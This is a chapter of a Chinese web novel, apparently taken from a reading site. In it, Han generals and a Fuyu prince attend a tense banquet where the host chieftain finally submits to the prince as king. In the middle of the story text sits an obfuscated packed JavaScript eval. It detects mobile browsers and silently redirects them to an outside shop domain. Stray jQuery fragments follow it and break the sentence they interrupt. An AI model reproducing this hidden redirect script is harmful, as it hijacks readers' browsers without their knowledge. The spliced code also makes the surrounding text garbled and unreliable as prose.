接到猪加夫塔的邀请,可把蒯良、蒯越吓了一大跳,他们的大脑里立即想起了一个词——鸿门宴!虽然猪加夫塔的城郭不堪一击,可要是着了他的道,损失了主将,后果就严重了。
然而潘凤、俞涉却并不这样想,他们对自己的武力自信的很,根本没有把扶余人放在眼里。特别是俞涉,他冷冷地笑了笑,阴阴地说道:“险非他们不想活了,我料想扶余人没有这个胆子!”
“扶余人就那点人马,他不怕被灭族吗?”潘凤点点头,赞同地说道:“两位军师不要自己吓自己,我们已经控制了整个沼泽地带,谅那头猪也翻不了天去。他要是敢有什么异动,我非剥了他的皮不可!”
“两位大人轻敌了!”蒯越对他们这种只重武力的做法非常不满,他腾地站了起来,有些生气地说道:“你们想过没有,他们邀请的这些将领,都是我们的主将,你们纵然武功高强,可是只要他们在酒里下点药,你们还有反抗的机会吗?一旦你们有什么不测,十几万大军将群龙无首,你们如何对得起将军大人!而他们只要躲进沼泽深处,我们敢去追击吗?”
“你说得也有道理。”一听到说酒里下药,把潘凤也吓着了。任你多么强悍的将领,一碗药酒也能将你放倒。自己死了不要紧,耽搁了将军大人的远征计划,那就太对不起将军大人了。然而,能不去吗?“听说他们已经邀请了九王子,而且九王子已经答应赴宴,我们要是不去,是不是显得我们太胆小了?”
“既然猪加夫塔邀请了我们,去还是要去的,不然的话,还真叫扶余人看了笑话。要是让将军大人知道了,岂不是要小看我们?”
要想征服扶余人,仅仅武力征服是不够的,必须让他们从心底里臣服。如果连个酒宴就不敢去,恐怕会让扶余人从心里瞧不起。蒯良在帐篷里来回走着,寻找着解决办法。
“为今之计,唯有加强防卫,让他们不敢下手。猪加夫塔的城郭经不起我们的进攻,如果城内有几千内应,顷刻间我们就能攻占他的城郭。他们不是邀请了九王子吗?明天我们以保护九王子为名,让廉越、蒋林带三千多骑兵跟着九王子进城,我们每人再带一千多骑兵,有这大几千人,几乎可以拿下他的城郭了。至于其
他的将领,找几个士兵冒充他们就行了。”
“就这么办!”潘凤挥了挥手,决定了下来。他相信有这么多骑兵进城,谅那猪加夫塔也不敢轻举妄动。如果他真的找死,就借这个机会除去他,省得以后他再找麻烦。
……
为了去不去参加猪加夫塔的宴会,九王子几乎折腾了一夜,与他的老师反复商量。他们既没有过人的武力,也没有强悍的军队,一旦有事,九王子首当其冲,他那一百多个护卫战斗力太差,恐怕到时候没有任何人来保护他。
可他要是不去,既失了做人的礼节,也丢了王子的威仪,传出去恐怕整个扶余人都会笑话九王子。而他们也不能向潘凤、俞涉求救,在自己的臣民面前向别人求救,更没有王子的尊严了。
就在九王子愁眉不展的时候,廉越、蒋林来了,身后还带着三千多骑兵,说是奉命保护九王子。这就有面子多了,是汉人军队主动为他效命,与他救人保护有着本质的不同。
当九王子带着队伍到达夫塔的城郭的时候,可把那些守城的扶余士兵吓了一大跳。守城的小头目刚刚犹豫了片刻,似乎还想去请示,廉越的马鞭就狠狠地抽了过来。
“反了,反了!孩儿们,给我拿下城门。”
突然间,一直没有说话的九王子的老师抽出了腰刀,大声吼叫起来。看起来象是怒火中烧,指挥着他们手下的一百多个护卫就往上冲。那些护卫有了汉人骑兵作后盾,一下子变得异常骁勇,冲上去就与夫塔的守城士兵战在一起。
那些守城门的扶余士兵见是九王子,本来就有些胆怯,一见王子的老师发怒,哪里还敢抵抗,稍微抵抗了几下,掉头就往城里跑。九王子的护卫们很快便控制了城门。
“廉越大人,城门就交给你了,我们进城!”
那王子的老师此时竟然象个将领,他挥了挥手,命令廉越带着一半骑兵把守城门,而让蒋林带着另一半骑兵跟着他们进了城。
接到廉越占领了南城门的消息,潘凤、俞涉高兴地笑了,带着队伍就要走。然而,蒯良的脸上没有一点笑意,他冷冷地说道:“九王子的老师真是阴险啊,他强行抢夺了城门,却交给了廉越,他这是逼夫塔与我们翻脸,想借我们的手除去夫塔,好让九王子控制沼泽地带的这些扶余
人。”
潘凤、俞涉这才感到问题越发搞复杂了,没想到这个看似无能的九王子也借机发难。就在这时,只听蒯越阴阴地笑了笑,狠狠地说道:“两位大人,今天不出事便罢,如果出了什么事,你们一定地趁乱除掉那个九王子的老师。剩下那个九王子,就翻不起什么大浪了。”
“就这么办!他要是胆敢使坏,我就象捏死小鸡一样捏死他。”潘凤挥了挥手,带着骑兵朝着夫塔的城郭而去。
……
猪加夫塔得知九王子占了南城门,气得差点跳了起来,当即就要调动人马去夺回,可是紧拉着他就
得到报告,九王子已经将南城门交给了汉人军队,他不由得犹豫了。
“父亲,我们都已经准备好了,箭在弦上,不得不发,再也不能犹豫了。”夫塔的大儿子古鲁见夫塔犹豫不决,连忙鼓动道。
“父亲放心,就是他们占了城门,我们也能把他们杀光!”格力提着把大刀,早就等得不耐烦了。
“千万不可鲁莽,那九王子的老师在中原读过书,跟那些汉人一样的狡猾。他们率先占了城门,其实是在警告我们,说明他们已经作好了准备。没有我的命令,你们决不能动手,明白吗?”夫塔狠狠地瞪了两个儿子一眼,郑重地交待道。
“遵命!”古鲁和格力点了点头。
就在他们父子商议的时候,九王子已经到了他的猪加府,出于礼节,他不得不迎了出来。当他看到九王子身后的汉人骑兵时,明白这九王子已经彻底投靠了汉人,心中越发气忿。虽然他极不情愿,但是他还是恭恭敬敬地把九王子迎进了大堂。
“王子殿下,守城门的小兵不懂道理,我在这里赔罪了。来来来,请上坐!”
没用多长时间,潘凤、俞涉、蒯良、蒯越带着汉人军队的主要将领们也来了。刚刚几天时间,夫塔也没有拜访过汉人军队,那些人究竟是不是汉人军队的主将,他也无从知晓,看着这些魁梧的汉人将领,不由得在心中暗暗惊叹。“天啊……这些汉人将领如此强悍,我们是他们的对手吗?”
那九王子的老师跟随汉人军队已经很长时间了,一看到潘凤、俞涉、蒯良、蒯越他们进来,就知道他们身后的将领们并不是汉人军队的主将,心中立即明白,汉人军队已经有了准备。他阴阴地
笑了笑,开始琢磨主意。
“王子殿下,各位大人,夫塔今日略备薄酒,欢迎各位,请!”
夫塔满脸堆着笑,端起酒杯向大家敬酒。看到这些汉人将领,他不禁有些后悔了,不说他们城外的驻军,仅仅就是进城的这些骑兵,恐怕就是集全城之力,也不是他们的对手。
然而,让夫塔意想不到的一幕发生了。前来参加酒宴的客人没有一个人端起酒杯,都静静地看着他。原来,扶余人的酒宴仿照汉人,每人一张条案,一坛酒,一盘肉,实行的是分餐制。
就是因为这个分餐制,使得大家谁也没有端杯。胆大如潘凤、俞涉者,也不想因为一杯酒被药死在这里。而九王子更是小心,他心里比谁都明白,他要是被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14123895|149880||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毒死了,没有一个人为他报仇。
“等等!”就在这时,九王子的老师扬起了手,打破了酒宴上的寂静。他扫视了众人一眼,淡淡地说道:“猪加大人,如今扶余内忧外患,国难当头,百姓处于水深火势之中,我等在此饮酒作乐,于心何忍?”
“哼!”夫塔将酒杯重重地往桌上一放,不屑地哼了一声。要是在平时,一个王子的老师,根本没有资格与他同席,可是今天情况特殊,他不便发火,只是冷冷地说道:“那要是依着你,我们都不吃不喝了?”
九王子的老师不慌不忙地从座位上站了起来,走到大厅的中央,朝所有人施了礼,这才缓缓说道:“扶余乃大汉属国,大汉军队乃朝廷官军,九王子受先王遗命,求得朝廷救援,已遂先王之愿。我等宜尊九王子为扶余国王,配合朝廷官军抵御外蔻,平定内乱,完成先王遗命,猪加大人以为然否?”
夫塔吓了一大跳,一时之间不知道如何回答。尽管他心里立即放弃了对他们手下的打算,可是他却不能同意遵九王子为国王,他可不想在自己的头上压上一座大山。他看了看那些汉人将领们,见他们无动于衷,估计他们已经商量好了,便笑了笑说道。
“扶余国已经有二个王子宣布继位,我们再拥立九王子为王,岂不是更乱?”
“猪加大人此言差矣。二王子、三王子领兵御敌,无有半寸之功,却拥兵自重,自立为王,必不得人心矣。九王子受先王之托,得朝廷之助,乃众望所归,岂能与二王子、三王
子相提并论?猪加大人率先拥立,功莫大焉!”
九王子的老师早就准备了一套说辞,直说得夫塔无言以对。他的目的非常明确,要么逼夫塔拥立九王子为国王,要么逼夫塔动手反叛,反正他要借今天这个机会,让九王子宣布为王。
夫塔被逼到了墙角,一股恨意涌上了心头。他端起桌上的酒杯,仰起头一饮而尽,就在他准备摔出去的时候,却突然犹豫了。他清楚,只要他把酒杯摔出去,这里马上就会发生一起大屠杀。能不能杀死九王子和这些将领还难说,可是他的家人恐怕一个也跑不了。
大厅里相当安静,连大气也没有人敢出,都在静静地等着夫塔的回答。潘凤、俞涉他们的双手几乎挨着了刀鞘,只要有一点不对的动静,他们就会象老虎一样的一跃而起。
蒯良、蒯越交换了一下眼色,都在心里暗算嘀咕,看来这个九王子的老师确实非同寻常,他不仅善于借势,而且还借的恰到好处,这个家伙还真是留不得啊。
九王子不动声色地坐在那里,两只眼睛盯着夫塔手中的酒杯。熟悉宫廷斗争的他再明白不过了,现在就是他的生死存亡关头。如果那酒杯摔下来,流血就不可避免。他甚至看好
了路线,一旦有什么异动,他就跑到那些汉人将领身边。他清楚的很,他手下的那些护卫,根本不堪一击。
“大哥,我们动手吧!”站在大厅外面的格力很久没有听到大厅里的声音,感觉到了大厅里的异常,双手已经扶到了刀鞘之上,可是久久没有听到夫塔动手的命令,不由得着急起来。
“再等等!听父亲的命令。”古鲁摆了摆手,阻止了格力。他虽然不知道大厅里发生了什么,可是他明白他父亲肯定是难以决断,而且几千汉人骑兵就在外面,如果贸然动手,恐怕整个部族都会在劫难逃。
夫塔的手里慢慢地转动着酒杯,两眼怔怔地望着前方,脸色异常的凝重。大厅里的气氛紧张到了极点,这时候哪怕是一点小小的响动,恐怕就会激起一场血腥的杀戮。
过了好一会儿,理智终于战胜了他的野心,夫塔慢慢地将酒杯放在桌上。他站起身来,恭身走到九王子的面前,跪倒在地,按照拜见国王的大礼,向九王子拜了三拜,大声喊道:
“夫塔叩见国王殿下。”